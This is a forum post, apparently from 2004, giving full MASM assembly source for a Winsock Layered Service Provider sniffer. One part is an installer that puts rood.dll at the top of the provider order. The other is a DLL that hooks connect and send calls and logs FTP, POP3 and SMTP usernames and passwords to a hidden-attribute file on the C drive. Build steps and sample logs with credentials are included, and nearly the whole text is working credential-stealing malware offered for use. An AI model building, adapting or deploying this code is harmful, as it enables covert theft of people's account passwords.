| 
   
作者:czy82 安装程序spi.asm DLL:spidll.asm DLL生成后放在C盘下改名为rood.dll 编绎参数: ml /c /coff spidll.asm link /DLL /DEF:spidll.def /SUBSYSTEM:windows spidll.obj ml /c /coff spi.asm link /subsystem:CONSOLE spi.obj
  dll的def文件 EXPORTS   WSPStartup
  在2KPRO下测试很稳定,效率要比C的高不少哟,俺可是一个指令一个指令的 优化过..
 
  ;             #--------------------------------------#       # ;           # use SPIDLL Sniffer ftp(21),SMTP(25)   #       # ;           #     --->,pop3(110) password on local   #     # ;         #                               #   # ;       #               2004.12.27             # ;         #             codz: czy             #   # ;         #------------------------------------------#     #
  ; ;smtp/pop3 sniffer test on Foxmail(5.0.800.0)Chinese Version ;                 OutLook Express(6.00.2800.1106)Chinese Version ; ;ftp sniffer test on     CuteFTP(6.0 build 11.03.2004.1)English Version ;                 FlashFXP(3.0.2 build 1045)Chinese ;                 LeapFTP(2.7.4.602)English Version  ;                 Internet Explorer (6.0.2800.1106)Chinese Version ;the ftp server is www.west263.com(ftp://61.139.126.13) ;the mail server is www.elong.com/www.126.com(smtp.e ... 6.com/pop3.126.com)
  ;the logfile is c:\snifferpass.txt and format like this: ;220.181.31.176 -->this is a pop3 server's ip ;USER chenzy82 ;PASS fuckyou ;220.181.31.171 -->this is a smtp server's ip ;Y2hlbnp5ODI= -->username ;MaExMaEx     -->password by base64 encode ;ftp:61.139.126.13 -->this is a ftpserver ip  ;USER anonymous ;PASS guest@my.net ;ftp:61.139.126.13 -->this is a ftpserver ip  ;USER czy82 ;PASS 111111
  ;note:the smtp password is base64 encode ;   how to change pop3/smtp server's ip to host you can use 
  .386  .model flat,stdcall  option casemap:none        include \masm32\include\windows.inc       include \masm32\include\user32.inc       include \masm32\include\kernel32.inc   include \masm32\include\Ws2_32.inc   include \masm32\include\masm32.inc          includelib \masm32\lib\user32.lib       includelib \masm32\lib\kernel32.lib       includelib \masm32\lib\Ws2_32.lib       includelib \masm32\lib\masm32.lib
 
  WSAPROTOCOL_LEN     equ 255    WSPDESCRIPTION_LEN   equ 255 MAX_PROTOCOL_CHAIN   equ 7 XP1_IFS_HANDLES       equ 20000h LAYERED_PROTOCOL     equ 0 BASE_PROTOCOL     equ 1 WSABASEERR           equ 10000 WSAEPROVIDERFAILEDINIT equ WSABASEERR+106
  WSPPROC_TABLE   STRUCT lpWSPAccept     DD ? lpWSPAddressToString   DD ? lpWSPAsyncSelect   DD ?    lpWSPBind     DD ? lpWSPCancelBlockingCall   DD ? lpWSPCleanup     DD ? lpWSPCloseSocket   DD ?    lpWSPConnect     DD ? lpWSPDuplicateSocket   DD ?    lpWSPEnumNetworkEvents   DD ? lpWSPEventSelect   DD ?    lpWSPGetOverlappedResult   DD ? lpWSPGetPeerName   DD ?    lpWSPGetSockName   DD ? lpWSPGetSockOpt     DD ? lpWSPGetQOSByName   DD ? lpWSPIoctl     DD ? lpWSPJoinLeaf     DD ? lpWSPListen     DD ? lpWSPRecv     DD ? lpWSPRecvDisconnect   DD ?    lpWSPRecvFrom     DD ? lpWSPSelect     DD ? lpWSPSend     DD ? lpWSPSendDisconnect   DD ?    lpWSPSendTo     DD ? lpWSPSetSockOpt     DD ? lpWSPShutdown     DD ? lpWSPSocket     DD ? lpWSPStringToAddress   DD ?
  WSPPROC_TABLE   ENDS
 
  WSAPROTOCOLCHAIN STRUCT ChainLen   DD ?                        ChainEntries   DD MAX_PROTOCOL_CHAIN dup(?) WSAPROTOCOLCHAIN ENDS           WSAPROTOCOL_INFOW STRUCT dwServiceFlags1 DD ? dwServiceFlags2 DD ? dwServiceFlags3 DD ? dwServiceFlags4 DD ? dwProviderFlags DD ? ProviderId   GUID <?> dwCatalogEntryId DD ? ProtocolChain     WSAPROTOCOLCHAIN <?> iVersion   DD ? iAddressFamily DD ?  iMaxSockAddr   DD ? iMinSockAddr   DD ? iSocketType   DD ? iProtocol   DD ? iProtocolMaxOffset DD ? iNetworkByteOrder   DD ? iSecurityScheme     DD ? dwMessageSize     DD ? dwProviderReserved   DD ? szProtocol   Dw WSAPROTOCOL_LEN+1 dup(?) WSAPROTOCOL_INFOW ENDS
  WSPData STRUCT wVersion   WORD   ? wHighVersion   WORD   ? szDescription   DW WSPDESCRIPTION_LEN+1 dup(?) WSPData   ENDS
 
  WSABUF STRUCT len   DWORD   ? buf   DWORD   ? WSABUF ENDS
  WSPUPCALLTABLE   STRUCT
  lpWPUCloseEvent     DWORD   ? lpWPUCloseSocketHandle   DWORD   ? lpWPUCreateEvent   DWORD   ? lpWPUCreateSocketHandle   DWORD   ? lpWPUFDIsSet     DWORD   ? lpWPUGetProviderPath   DWORD   ? lpWPUModifyIFSHandle   DWORD   ? lpWPUPostMessage   DWORD   ?    lpWPUQueryBlockingCallback   DWORD   ? lpWPUQuerySocketHandleContext   DWORD   ? lpWPUQueueApc         DWORD   ? lpWPUResetEvent     DWORD   ? lpWPUSetEvent     DWORD   ? lpWPUOpenCurrentThread   DWORD   ? lpWPUCloseThread   DWORD   ?
  WSPUPCALLTABLE   ENDS
  .data  hInstance dd 0  errorcode   dd ? protoinfo   dd ? totalprotos   dd ? protoinfosize   dd ? spiguid     db 253,145,30,77,106,17,170,68,143,212,29,44,242,123,217,169,0 dllpath     db 256 dup(?) dllpath2   db 256 dup(?) startupname   db 'WSPStartup',0 nextproctable   WSPPROC_TABLE <?> usertag     db 'USER',0 passtag     db 'PASS',0 logpop     db 'c:\snifferpass.txt',0 poptag     dd ? ;记录标识    smtptag     dd ? ftptag     dd ? crlf     db 0dh,0ah,0 ftphead     db 'ftp:',0
  .code  DllEntry proc hInstDLL:HINSTANCE, reason:DWORD, reserved1:DWORD         .if reason==DLL_PROCESS_ATTACH ;dll加载时           push hInstDLL         pop hInstance             .endif     mov eax,TRUE          ret  DllEntry Endp 
  _CmpGUID   proc   whichguid:DWORD ,whichid:DWORD     mov   ebx,whichid     .if   whichguid==1         mov   edx,offset spiguid     .endif     mov   eax,[ebx]     mov   ecx,[edx]     .if   eax==ecx         add   ebx,4         add   edx,4         mov   eax,[ebx]         mov   ecx,[edx]                  .if   eax==ecx           add   ebx,4           add   edx,4           mov   eax,[ebx]           mov   ecx,[edx]           .if   eax==ecx             add   ebx,4             add   edx,4             mov   eax,[ebx]             mov   ecx,[edx]             .if   eax==ecx ;找到GUID相同的                 mov   eax,esi                 ret                              .else             jmp   @@nextguid             .endif           .else           jmp   @@nextguid           .endif         .else         jmp   @@nextguid         .endif     .else     jmp   @@nextguid     .endif   @@nextguid:   
    mov   eax,0   ret _CmpGUID   endp
  _GetFilter   proc   mov   protoinfo,NULL     mov   totalprotos,0     mov   protoinfosize,0
 
    invoke   WSCEnumProtocols,NULL,protoinfo,offset protoinfosize,offset errorcode   .if   eax==SOCKET_ERROR     .if errorcode!=WSAENOBUFS         ret     .endif   .endif      invoke   GlobalAlloc,GPTR,protoinfosize     .if   eax==NULL           ret       .else           mov   protoinfo,eax          .endif          invoke   WSCEnumProtocols,NULL,protoinfo,offset protoinfosize,offset errorcode     .if   eax==SOCKET_ERROR     ret   .else     mov   totalprotos,eax        .endif      ret _GetFilter   endp
  WSPSend     proc   s:DWORD,lpbuffer:DWORD,dwbuffercount:DWORD,lpnumberofbytessent:DWORD,dwflags:DWORD,lpoverlapped:DWORD,lpcompletionroutine:DWORD,lpthreadid:DWORD,lperrno:DWORD                                    local   hpop:dword     local   tag[5]:byte          mov   esi,lpbuffer     assume   esi:ptr WSABUF     .if   poptag==1 || ftptag==1         mov   edx,dword ptr [esi].buf         mov   ecx,dword ptr [edx]         .if   ecx=='RESU' || ecx=='SSAP' ;要反写           jmp   @@logpop         .else           jmp   @@callsyssend            .endif              .elseif smtptag==1         mov   ecx,[esi].buf         add   ecx,4   ;比较第五个字节是否是空格或0Dh         mov   dl,byte ptr [ecx]         .IF   dl==20H || dl==0dh || [esi].len>50d           JMP   @@callsyssend         .ELSE           JMP   @@logpop                  .ENDIF          .else     jmp   @@callsyssend     .endif      @@logpop:          ;------------写记录文件           invoke   CreateFile,offset logpop,GENERIC_WRITE,FILE_SHARE_READ,\                         NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_SYSTEM,NULL             mov   hpop,eax           invoke   SetFilePointer,hpop,0,NULL,FILE_END           invoke   SetEndOfFile,hpop             ;文件指针放到文件尾                                      invoke   _lwrite,hpop,[esi].buf,[esi].len           invoke   CloseHandle,hpop           ;------------     assume   esi:nothing    @@callsyssend: ;执行系统的WSPSend     mov   esi,offset nextproctable     assume   esi:ptr WSPPROC_TABLE     mov   eax,[esi].lpWSPSend     assume   esi:nothing     push   lperrno     push   lpthreadid     push   lpcompletionroutine     push   lpoverlapped     push   dwflags     push   lpnumberofbytessent     push   dwbuffercount     push   lpbuffer     push   s     call   eax     
      ret     
  WSPSend     endp
  ;----------------------------------挂接API的CONNECT函数得到连接的邮件服务器的IP WSPConnect   proc   s:DWORD,name1:DWORD,namelen:DWORD,lpCallerData:DWORD,lpCalleeData:DWORD,lpSQOS:DWORD,lpGQOS:DWORD,lpErrno:DWORD     LOCAL   hfile:DWORD     LOCAL   ipaddress[25]:BYTE     LOCAL   bufferlen:DWORD
      mov   edi,name1     assume   edi:PTR sockaddr_in          ;invoke   htons,110     .if   word ptr [edi].sin_port==6e00h ;110         mov   poptag,1         mov   smtptag,0         mov   ftptag,0           .elseif word ptr [edi].sin_port==1900H ;25             mov   smtptag,1             mov   poptag,0             mov   ftptag,0           .elseif word ptr [edi].sin_port==1500H   ;21                mov   ftptag,1             mov   smtptag,0             mov   poptag,0             invoke   lstrcpy,addr ipaddress,offset ftphead     .else         mov   poptag,0            mov   smtptag,0         mov   ftptag,0         jmp   @@callsysconnect        .endif                  push   [edi].sin_addr ; 把网络名转化为ASCII格式的IP地址         call   inet_ntoa         invoke   lstrcat,addr ipaddress,eax         invoke   lstrcat,addr ipaddress,offset crlf         ;------------写记录文件             invoke   CreateFile,offset logpop,GENERIC_WRITE,FILE_SHARE_READ,\                         NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_SYSTEM,NULL               mov   hfile,eax             invoke   SetFilePointer,hfile,0,NULL,FILE_END             invoke   SetEndOfFile,hfile                      invoke   lstrlen,addr ipaddress                                invoke   _lwrite,hfile,addr ipaddress,eax             invoke   CloseHandle,hfile           ;------------     assume   edi:nothing @@callsysconnect: ;调用系统自已的Connect          mov   esi,offset nextproctable     assume   esi:ptr WSPPROC_TABLE     mov   eax,[esi].lpWSPConnect     assume   esi:nothing     push   lpErrno     push   lpGQOS     push   lpSQOS     push   lpCalleeData     push   lpCallerData     push   namelen     push   name1     push   s     call   eax     ret      WSPConnect   ENDP
  WSPStartup   proc   wversionrequested:WORD,lpwspdata:DWORD,lpprotoinfo:DWORD,upcalltable:WSPUPCALLTABLE,lpproctable:DWORD         LOCAL i:dword         local filterpathlen:dword         local layerid:dword         local nextlayerid:dword         local filterpath:dword         local hfilter:dword         local wspstartupfunc:dword
      PUSH   EBX ;测试自已的协议链是不是大于1     mov   esi,lpprotoinfo     assume   esi:ptr WSAPROTOCOL_INFOW     .if   [esi].ProtocolChain.ChainLen<=1         mov   eax,FALSE         RET     .endif     assume   esi:nothing
      invoke   _GetFilter      ;得到自已的提供者的ENTRYID给变量layerid     xor   edi,edi     mov   esi,protoinfo     assume   esi:ptr WSAPROTOCOL_INFOW     .while edi<totalprotos         lea   ebx,[esi].ProviderId         invoke   _CmpGUID,1,ebx         .if   eax!=0           lea   ebx,layerid           mov   ecx,[esi].dwCatalogEntryId           mov   [ebx],ecx           .break         .endif     add   esi,sizeof WSAPROTOCOL_INFOW     inc   edi     .endw     assume   esi:nothing
  ;得到自身协议链的的下一个ENTRYID,也就是系统DLL的ENTRYID给变量nextlayerid          xor   edi,edi     mov   esi,lpprotoinfo     assume   esi:ptr WSAPROTOCOL_INFOW     .while edi<[esi].ProtocolChain.ChainLen ;一般长度为2         mov   ebx,edi         imul   ebx,4         mov   eax,[esi].ProtocolChain.ChainEntries[ebx]         .if eax==layerid
            add   ebx,4           mov   ecx,[esi].ProtocolChain.ChainEntries[ebx]           lea   edx,nextlayerid           mov   [edx],ecx         .break         .endif     inc   edi     .endw     assume   esi:nothing      ;通过系统DLL的ENTRYID得到DLL的路径              xor   edi,edi     mov   esi,protoinfo     assume   esi:ptr WSAPROTOCOL_INFOW     .while edi<totalprotos         mov   eax,[esi].dwCatalogEntryId         .if eax==nextlayerid           mov   filterpath,offset dllpath           mov   filterpathlen,255 ;四个参数全部是指针           invoke   WSCGetProviderPath,addr [esi].ProviderId,filterpath,addr filterpathlen,offset errorcode           .if eax==SOCKET_ERROR             mov   eax,WSAEPROVIDERFAILEDINIT              ret           .else                          .break           .endif         .endif     add   esi,sizeof WSAPROTOCOL_INFOW     inc   edi     .endw     assume   esi:nothing
  ;得到DLL的绝对路径     invoke   ExpandEnvironmentStringsW,offset dllpath,offset dllpath2,MAX_PATH     .if   eax==0         mov   eax,WSAEPROVIDERFAILEDINIT          ret     .endif
  ;加载系统的DLL一般是MSAFD.DLL          invoke   LoadLibraryW,offset dllpath2     .if   eax==NULL         mov   eax,WSAEPROVIDERFAILEDINIT          ret     .else         mov   hfilter,eax     .endif      ;得到系统DLL的wspstartup初始化函数地址     invoke   GetProcAddress,hfilter,offset startupname     .if   eax==NULL         mov   eax,WSAEPROVIDERFAILEDINIT          ret     .else         mov   wspstartupfunc,eax     .endif
  ;调用系统DLL的初始化函数以得到30个WSP函数的入口地址,这些地址值的地址由lpproctable指针指向          ;if((errorcode=wspstartupfunc(wversionrequested,lpwspdata,lpprotoinfo,upcalltable,lpproctable))!=ERROR_SUCCESS)
      push   lpproctable     ;     push   upcalltable     mov   ecx,0fh   ;结构有15个成员每个成员4字节     sub   esp,3ch   ;ESP空出60个字节     lea   esi,upcalltable     mov   edi,esp     rep   movsd     ;对于一个函数的参数不是DWORD应该这样传参数
      push   lpprotoinfo     push   lpwspdata     mov   cx,word ptr wversionrequested     push   ecx   ;注意第一个参数是2字节     call   wspstartupfunc     .if   eax!=ERROR_SUCCESS
          ret             .endif
  ;复质系统DLL初始化的地址到nextproctable结构中          mov   esi,lpproctable     mov   ecx,1eh   ;30d              lea   edi,nextproctable     rep   movsd ;不能是repz movsd      ;挂接wspsend              ;   lpproctable->lpWSPSend=WSPSend     mov   edx,lpproctable         add   edx,5ch         mov   [edx],WSPSend ;挂接WSPConnect     mov   edx,lpproctable     add   edx,1ch     mov   [edx],WSPConnect         
  ;释放资源返回,以后当应用程序调用SOCKET API比如SEND的时候,WS2_32.DLL会加载我们的ROOD.DLL并调用我们的WSPSEND函数                  invoke   GlobalFree,protoinfo     xor   eax,eax     pop   ebx     ret
  WSPStartup   endp
 
  End DllEntry 
 
  ;-----------------------------------spi.asm------------------ .386     .model flat, stdcall     option casemap :none   ; case sensitive ; #########################################################################
        include \masm32\include\windows.inc       include \masm32\include\user32.inc       include \masm32\include\kernel32.inc   include \masm32\include\Ws2_32.inc   include \masm32\include\masm32.inc          includelib \masm32\lib\user32.lib       includelib \masm32\lib\kernel32.lib       includelib \masm32\lib\Ws2_32.lib       includelib \masm32\lib\masm32.lib        WSAPROTOCOL_LEN     equ 255    MAX_PROTOCOL_CHAIN   equ 7 XP1_IFS_HANDLES       equ 20000h LAYERED_PROTOCOL     equ 0
  WSAPROTOCOLCHAIN STRUCT ChainLen   DD ?                        ChainEntries   DD MAX_PROTOCOL_CHAIN dup(?) WSAPROTOCOLCHAIN ENDS           WSAPROTOCOL_INFOW STRUCT dwServiceFlags1 DD ? dwServiceFlags2 DD ? dwServiceFlags3 DD ? dwServiceFlags4 DD ? dwProviderFlags DD ? ProviderId   GUID <?> dwCatalogEntryId DD ? ProtocolChain     WSAPROTOCOLCHAIN <?> iVersion   DD ? iAddressFamily DD ?  iMaxSockAddr   DD ? iMinSockAddr   DD ? iSocketType   DD ? iProtocol   DD ? iProtocolMaxOffset DD ? iNetworkByteOrder   DD ? iSecurityScheme     DD ? dwMessageSize     DD ? dwProviderReserved   DD ? szProtocol   Dw WSAPROTOCOL_LEN+1 dup(?) WSAPROTOCOL_INFOW ENDS
 
 
                .data
  socketerror   db 'sockterror',0 socketerror2   db 'Second WSCEnumProtocols Error',0 error3     db 'error install spi dll',0 error4     db 'error install udpfilter',0 error5     db 'error order',0 installok   db 'order ok',0 nomem     db 'nomem',0 findspi     db 'findspi',0 nofindspi   db 'cant findspi',0 errorcode   dd ? protoinfo   dd ? totalprotos   dd ? protoinfosize   dd ? szspibufferformat   db '已经安装的SPI有:%d 个',0dh,0ah,0 szspibuffer   db 300 dup(?) ipinfo     WSAPROTOCOL_INFOW <?> udpinfo   WSAPROTOCOL_INFOW <?> chainarray   WSAPROTOCOL_INFOW <?> spiname     db 300 dup (?) crlf     db 0dh,0ah,0 rawip     dd ? udpip     dd ? rood     dw 'R','0','0','D',0 ;要定义成unicode格式 udprood     dw 'R','0','0','D','U','D','P',0 spipath     dw 'c',':','\','r','o','o','d','.','d','l','l',0 spiguid     db 253,145,30,77,106,17,170,68,143,212,29,44,242,123,217,169,0 filterchainguid   db 33,17,194,211,225,133,243,72,154,182,35,217,12,115,7,239,0 ; filterchainguid={0xd3c21121,0x85e1,0x48f3,{0x9a,0xb6,0x23,0xd9,0x0c,0x73,0x07,0xef}}; ipid     dd ? udpid     dd ? provcnt     dd ? cataentries   dd ? ;指向所有的ENTRIES cataindex   dd ?
  .code _CmpGUID   proc   whichguid:DWORD ,whichid:DWORD     mov   ebx,whichid     .if   whichguid==1         mov   edx,offset spiguid     .elseif   whichguid==0         mov   edx,offset filterchainguid     .endif     mov   eax,[ebx]     mov   ecx,[edx]     .if   eax==ecx         add   ebx,4         add   edx,4         mov   eax,[ebx]         mov   ecx,[edx]                  .if   eax==ecx           add   ebx,4           add   edx,4           mov   eax,[ebx]           mov   ecx,[edx]           .if   eax==ecx             add   ebx,4             add   edx,4             mov   eax,[ebx]             mov   ecx,[edx]             .if   eax==ecx ;找到GUID相同的                 mov   eax,esi                 ret                              .else             jmp   @@nextguid             .endif           .else           jmp   @@nextguid           .endif         .else         jmp   @@nextguid         .endif     .else     jmp   @@nextguid     .endif   @@nextguid:   
    mov   eax,0   ret _CmpGUID   endp
  _GetFilter   proc   mov   protoinfo,NULL     mov   totalprotos,0     mov   protoinfosize,0
 
    invoke   WSCEnumProtocols,NULL,protoinfo,offset protoinfosize,offset errorcode   .if   eax==SOCKET_ERROR     .if errorcode!=WSAENOBUFS         invoke   StdOut,offset socketerror     .endif   .endif      invoke   GlobalAlloc,GPTR,protoinfosize     .if   eax==NULL           invoke   StdOut,offset nomem       .else           mov   protoinfo,eax          .endif          invoke   WSCEnumProtocols,NULL,protoinfo,offset protoinfosize,offset errorcode     .if   eax==SOCKET_ERROR     invoke   StdOut,offset socketerror2   .else     mov   totalprotos,eax        .endif
    invoke   wsprintf,offset szspibuffer,offset szspibufferformat,totalprotos   invoke   StdOut,offset szspibuffer      mov   esi,protoinfo   assume   esi:ptr WSAPROTOCOL_INFOW      xor   edi,edi   .while edi<totalprotos          lea   ebx,[esi].szProtocol
      invoke   WideCharToMultiByte,0,512d,ebx,-1,offset spiname,100h,0,0          invoke   lstrcat,offset spiname,offset crlf     invoke   StdOut,offset spiname   add   esi,sizeof WSAPROTOCOL_INFOW   inc   edi   .endw   assume   esi:nothing         ret _GetFilter   endp
  _InstallFilter   proc   
    invoke   _GetFilter ;得到服务提供者个数    ;找到第一个符合要求的结构      mov   esi,protoinfo   assume   esi:ptr WSAPROTOCOL_INFOW   xor edi,edi   .while edi<totalprotos     .if rawip==FALSE && [esi].iAddressFamily==AF_INET && [esi].iProtocol==IPPROTO_IP         MOV   rawip,TRUE
 
                   lea   ebx,[esi].szProtocol         invoke   WideCharToMultiByte,0,512d,ebx,-1,offset spiname,100h,0,0              invoke   lstrcat,offset spiname,offset crlf         invoke   StdOut,offset spiname
          invoke   RtlMoveMemory,offset ipinfo,esi,sizeof WSAPROTOCOL_INFOW                  mov   ebx,[esi].dwServiceFlags1         mov   edx,XP1_IFS_HANDLES         not   edx         and   ebx,edx         mov   ecx,offset ipinfo         assume   ecx:ptr WSAPROTOCOL_INFOW         mov   [ecx].ProtocolChain.ChainLen,LAYERED_PROTOCOL ;设置自已的低层服务提供者                  mov   [ecx].dwServiceFlags1,ebx                  lea   ebx,[ecx].szProtocol         invoke   RtlMoveMemory,ebx,offset rood,12 ;设置SPI名字                  assume   ecx:nothing     .endif          ;设置tcp协议链的WSAPROTOCOL_INFOW结构     .if udpip==FALSE && [esi].iAddressFamily==AF_INET && [esi].iProtocol==IPPROTO_TCP         MOV   udpip,TRUE
 
                   lea   ebx,[esi].szProtocol         invoke   WideCharToMultiByte,0,512d,ebx,-1,offset spiname,100h,0,0              invoke   lstrcat,offset spiname,offset crlf         invoke   StdOut,offset spiname         nop         invoke   RtlMoveMemory,offset udpinfo,esi,sizeof WSAPROTOCOL_INFOW                           mov   ebx,[esi].dwServiceFlags1         mov   edx,XP1_IFS_HANDLES         not   edx         and   ebx,edx         mov   ecx,offset udpinfo         assume   ecx:ptr WSAPROTOCOL_INFOW         mov   [ecx].dwServiceFlags1,ebx                  lea   ebx,udpid         mov   edx,[ecx].dwCatalogEntryId ;保存系统存在的TCP提供者的ID         mov   [ebx],edx                  assume   ecx:nothing     .endif   add   esi,sizeof WSAPROTOCOL_INFOW      inc   edi        .endw   assume   esi:nothing    ;安装DLL    ;GUID filterguid={0x4d1e91fd,0x116a,0x44aa,{0x8f,0xd4,0x1d,0x2c,0xf2,0x7b,0xd9,0xa9}};   ;mov   esi,offset spiguid   ;assume   esi:ptr GUID ;     mov   [esi].Data1,1sdfsadfh ;     mov   [esi].Data2,116ah ;     mov   [esi].Data3,44aah ;     mov   [esi].Data4,8fd41d2cf27bd9a9h ;   assume   esi:nothing   invoke   WSCInstallProvider,offset spiguid,offset spipath,offset ipinfo,1,offset errorcode   .if eax==SOCKET_ERROR       invoke   StdOut,offset error3   .endif
    invoke   GlobalFree,protoinfo      invoke   _GetFilter   ;安装服务提供者后重新列举   nop      xor   edi,edi   mov   esi,protoinfo   assume   esi:ptr WSAPROTOCOL_INFOW   .while   edi<totalprotos        lea   ebx,[esi].ProviderId     invoke   _CmpGUID,1,ebx     .if   eax!=0         invoke   MessageBoxA,0,offset findspi,offset findspi,1            lea   ebx,ipid         mov   ecx,[esi].dwCatalogEntryId         mov   [ebx],ecx         assume   esi:nothing         jmp   @@exitlist     ;.else     ;   invoke   MessageBoxA,0,offset nofindspi,offset nofindspi,1     .endif      add   esi,sizeof WSAPROTOCOL_INFOW   inc   edi   .endw assume   esi:nothing @@exitlist: ;---重新设置链   nop   .if   udpip==TRUE   mov   esi,offset udpinfo   assume   esi:ptr WSAPROTOCOL_INFOW     lea   ebx,[esi].szProtocol     invoke   RtlMoveMemory,ebx,offset udprood,18 ;设置updSPI名字     .if [esi].ProtocolChain.ChainLen==1 ;BASE_PROTOCOL         lea   ebx,[esi].ProtocolChain.ChainEntries[4] ;udpchaininfo.ProtocolChain.ChainEntries[1]=udporigcataid         lea   eax,udpid         mov   ecx,[eax]         mov   [ebx],ecx              .else         xor edi,edi         .while edi<[esi].ProtocolChain.ChainLen         mov   edx,edi         imul   edx,4         lea   eax,[esi].ProtocolChain.ChainEntries[edx]         mov   ebx,edx         add   ebx,4         mov   ebx,[eax]                  inc   edi         .endw     .endif      inc   [esi].ProtocolChain.ChainLen ;inc dword ptr [esi+??]     
    lea   ebx,ipid   mov   eax,[ebx]   mov   [esi].ProtocolChain.ChainEntries,eax ;自已的分层提供者一定要在第一个   invoke   RtlMoveMemory,offset chainarray,offset udpinfo,sizeof WSAPROTOCOL_INFOW   assume   esi:nothing   .endif
    ;mov   esi,offset filterchainguid   ;assume   esi:ptr GUID   ;   mov   [esi].Data1,1h   ;   mov   [esi].Data2,1abbh   ;   mov   [esi].Data3,2abbh   ;   mov   [esi].Data4,01h   ;assume   esi:nothing   invoke   WSCInstallProvider,offset filterchainguid,offset spipath,offset chainarray,1,offset errorcode   .if EAX==SOCKET_ERROR     invoke   StdOut,offset error4   .endif
    invoke   GlobalFree,protoinfo
  ;---重新排列服务提供者   nop   invoke   _GetFilter   mov   ebx,totalprotos   imul   ebx,4   invoke   GlobalAlloc,GPTR,ebx   .if   eax==NULL     invoke   StdOut,offset nomem     ret   .else     mov   cataentries,eax   .endif       ;---把自已的两个服务提供者放在最顶端      nop   xor   edi,edi   mov   esi,protoinfo   assume   esi:ptr WSAPROTOCOL_INFOW   .while   edi<totalprotos        lea   ebx,[esi].ProviderId     invoke   _CmpGUID,1,ebx     .if   eax!=0            mov   ebx,cataentries         mov   eax,cataindex         imul   eax,4         add   ebx,eax              inc   cataindex         mov   ecx,[esi].dwCatalogEntryId         mov   [ebx],ecx     .endif     lea   ebx,[esi].ProviderId     invoke   _CmpGUID,0,ebx     .if   eax!=0            mov   ebx,cataentries         mov   eax,cataindex         imul   eax,4         add   ebx,eax              inc   cataindex         mov   ecx,[esi].dwCatalogEntryId         mov   [ebx],ecx     .endif           add   esi,sizeof WSAPROTOCOL_INFOW   inc   edi   .endw ;--------把其它的服务提供者排在后面      xor   edi,edi   mov   esi,protoinfo   assume   esi:ptr WSAPROTOCOL_INFOW   .while   edi<totalprotos        lea   ebx,[esi].ProviderId     invoke   _CmpGUID,1,ebx     .if   eax==0            lea   ebx,[esi].ProviderId         invoke   _CmpGUID,0,ebx         .if   eax==0            nop           mov   ebx,cataentries           mov   eax,cataindex           imul&nbs, p;  eax,4           add   ebx,eax                inc   cataindex           mov   ecx,[esi].dwCatalogEntryId           mov   [ebx],ecx         .endif     .endif                add   esi,sizeof WSAPROTOCOL_INFOW   inc   edi   .endw      invoke   WSCWriteProviderOrder,cataentries,totalprotos   .if   eax!=ERROR_SUCCESS     invoke   StdOut,offset error5   .else     invoke   StdOut,offset installok   .endif            invoke   GlobalFree,protoinfo      ret _InstallFilter   endp
  start:      invoke   _InstallFilter   ;invoke   _GetFilter   invoke   ExitProcess,0 end start 
  安装用的是标准的安装方式,只是GUID是自已定义的,没用GETUID什么的那几个API 
   |